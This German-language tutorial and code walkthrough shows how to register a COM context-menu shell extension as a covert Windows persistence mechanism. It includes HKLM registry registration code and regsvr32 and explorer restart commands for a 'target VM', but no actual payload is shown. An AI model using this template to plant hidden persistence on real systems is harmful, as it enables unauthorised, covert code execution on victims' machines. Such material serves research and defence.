
COM Windows-Persistenztechnik
inspiriert von CVE-2026-21509
Eine Beispielimplementierung eines Windows-Kontextmenü-Handlers mit C++ und COM, die eine verdeckte Persistenztechnik demonstriert. Durch die Registrierung eines benutzerdefinierten COM-Objekts wird Ihr Code ausgeführt, sobald ein Benutzer in Windows Explorer mit der rechten Maustaste auf bestimmte Ziele (Dateien, Ordner oder Hintergründe) klickt.
Haftungsausschluss: Dieses Projekt dient ausschließlich zu Bildungs- und Forschungszwecken. Die hier gezeigten Techniken können für böswillige Zwecke verwendet werden. Der Autor befürwortet nicht die Nutzung dieses Codes für illegale Aktivitäten. Seien Sie verantwortungsbewusst und nutzen Sie dieses Wissen ethisch.

DllMain.cpp
+-----------------------+
| DLL Template Project |
+-------+-------+-------+
____/ | \_____
| | |
v v v
+------------+ +----------------+ +--------------+
| Define | | MyClassFactory | | Define |
clsid_defined.h | CLSID | +----------------+ | Export | Source.def
+------------+ ClassFactory | Functions |
class +--------------+
|
|
v
+--------------+
| MyMenuHandler|
+--------------+
MyMenuHandler
class
DllMain.cppEnthält die Standardfunktionen, die von einem COM-Objekt benötigt werden, um die DLL zu registrieren und zu deregistrieren.
DllRegisterServer(): Schreibt die Registrierungspfade, die den Ziel-Dateierweiterungen/-hintergründen entsprechen. Wird ausgeführt, wenn die DLL registriert wird.STDAPI DllRegisterServer() {
std::wstring clsidString = MyStringFromCLSID(CLSID_DecrypShellExtensionx64);
std::wstring dllPath = MyGetModuleFilename();
// 1. Register the COM Class (CLSID)
std::wstring clsidBaseKey = L"SOFTWARE\\Classes\\CLSID\\" + clsidString;
SetRegistryKey(HKEY_LOCAL_MACHINE, clsidBaseKey, L"", L"MyMenuHandler Object");
// 2. Register the DLL Path and Threading Model
std::wstring inprocKey = clsidBaseKey + L"\\InprocServer32";
SetRegistryKey(HKEY_LOCAL_MACHINE, inprocKey, L"", dllPath);
SetRegistryKey(HKEY_LOCAL_MACHINE, inprocKey, L"ThreadingModel", L"Apartment");
// 3. Register for all Shell Contexts
// Array of paths to cover Files, Folders, Backgrounds, and Desktop
std::wstring handlerPaths[] = {
L"SOFTWARE\\Classes\\*\\shellex\\ContextMenuHandlers\\",
L"SOFTWARE\\Classes\\Directory\\shellex\\ContextMenuHandlers\\",
L"SOFTWARE\\Classes\\Directory\\Background\\shellex\\ContextMenuHandlers\\",
L"SOFTWARE\\Classes\\DesktopBackground\\shellex\\ContextMenuHandlers\\"
};
for (const auto& path : handlerPaths) {
std::wstring fullPath = path + L"MyMenuHandler"; // Replace with your handler's name
SetRegistryKey(HKEY_LOCAL_MACHINE, fullPath, L"", clsidString);
}
// 4. Register in the Approved list (Required for many Windows versions)
std::wstring approvedKey = L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Shell Extensions\\Approved";
SetRegistryKey(HKEY_LOCAL_MACHINE, approvedKey, clsidString, L"MyMenuHandler");
// 5. Notify the Shell that things have changed
SHChangeNotify(SHCNE_ASSOCCHANGED, SHCNF_IDLIST, NULL, NULL);
return S_OK;
}
DllUnregisterServer(): Räumt die Registrierung auf. Wird aufgerufen, wenn die DLL deregistriert wird.MyClassFactoryErforderlich, um das COM-Objekt zu instanziieren. Mehr über Class Factories erfahren.
Clsid_defined.hEnthält die GUID, unter der die Anwendung im Explorer registriert wird. Sie können eine neue GUID mit Visual Studios guidgen.exe oder einem Online-GUID-Generator generieren.
// {CEF1AA1B-42F7-4A54-AF46-BCEE5B3FE6BF}
DEFINE_GUID(CLSID_DecrypShellExtensionx64, 0xcef1aa1b, 0x42f7, 0x4a54, 0xaf, 0x46, 0xbc, 0xee, 0x5b, 0x3f, 0xe6, 0xbf);
Source.defDie Moduldefinitionsdatei. Sie legt fest, welche Funktionen die DLL exportiert. Mehr über .DEF-Dateien erfahren.
EXPORTS
DllGetClassObject PRIVATE
DllCanUnloadNow PRIVATE
DllRegisterServer PRIVATE
DllUnregisterServer PRIVATE
MyMenuHandler.cppDie Kernklasse, die IShellExtInit und IContextMenu implementiert. Hier definieren Sie Ihre eigenen Aktionen.
MyContextMenuHandler::Initialize(PCIDLIST_ABSOLUTE pidlFolder, IDataObject* pdtobj, HKEY hkeyProgId)
Wird jedes Mal aufgerufen, wenn ein Rechtsklick auf Ihr registriertes Ziel erfolgt. Wird verwendet, um zu ermitteln, welche Datei oder welcher Ordner angeklickt wurde.HRESULT MyContextMenuHandler::Initialize(PCIDLIST_ABSOLUTE pidlFolder, IDataObject* pdtobj, HKEY hkeyProgId)
{
MessageBoxA(NULL, "Initialize Called!", "Debug", MB_OK);
// 1. Check if we clicked on a FILE/FOLDER
if (pdtobj)
{
STGMEDIUM medium;
FORMATETC fe = { CF_HDROP, NULL, DVASPECT_CONTENT, -1, TYMED_HGLOBAL };
if (SUCCEEDED(pdtobj->GetData(&fe, &medium)))
{
DragQueryFileA((HDROP)medium.hGlobal, 0, m_szFile, MAX_PATH);
ReleaseStgMedium(&medium);
return S_OK; // Success!
}
}
// 2. Check if we clicked the BACKGROUND (pidlFolder)
if (pidlFolder)
{
if (SHGetPathFromIDListA(pidlFolder, m_szFile))
{
return S_OK; // Success!
}
}
// 3. Fallback: If we got neither, still return S_OK to show the menu.
// You just won't have a path populated in m_szFile.
return S_OK;
}
MyContextMenuHandler::InvokeCommand(LPCMINVOKECOMMANDINFO picp)
Wird aufgerufen, wenn der Benutzer Ihre spezifische benutzerdefinierte Option im Kontextmenü auswählt. Hier wird Ihr Persistenz-Payload oder Ihre benutzerdefinierte Aktion ausgeführt.Kopieren Sie auf der Ziel-VM die kompilierte DLL und führen Sie die folgenden Befehle aus:
Registrieren Sie die DLL mit den standardmäßigen Windows-Binärdateien.
regsvr32.exe RightHandPersistence.dll
Starten Sie den explorer.exe-Prozess neu, um sicherzustellen, dass die neue Shell-Erweiterung in den Speicher geladen wird.
taskkill /f /im explorer.exe & start explorer.exe
Um den Kontextmenü-Handler zu entfernen und die Registrierung zu bereinigen, verwenden Sie das Flag /u mit regsvr32.exe. Dies ruft Ihre DllUnregisterServer-Funktion auf.
regsvr32.exe /u RightHandPersistence.dll
Windows kategorisiert „leeren Raum“ anders als Dateien. Um den Hintergrund anzuvisieren, ordnen Sie Ihre Registrierungsschlüssel diesen bestimmten Orten zu.
Weitere Details zur Zuordnung von Erweiterungen finden Sie in der Microsoft Shell Context Menu Dokumentation.
Sie können benutzerdefinierten Text für das Menü festlegen (z.B. „Benutzerdefiniertes Kopieren“ oder „Diagnose ausführen“), indem Sie die Methode IContextMenu::QueryContextMenu implementieren. Das Klicken auf diesen benutzerdefinierten Text löst Ihre Logik in IContextMenu::InvokeCommand aus.
| Rechtsklick-Ziel | Registrierungsschlüssel-Pfad |
|---|
| Dateien (Alle) | HKEY_CLASSES_ROOT\*\shellex\ContextMenuHandlers |
| Ordner (Das Symbol) | HKEY_CLASSES_ROOT\Directory\shellex\ContextMenuHandlers |
| Ordnerhintergrund | HKEY_CLASSES_ROOT\Directory\Background\shellex\ContextMenuHandlers |
| Desktop-Hintergrund | HKEY_CLASSES_ROOT\DesktopBackground\shellex\ContextMenuHandlers |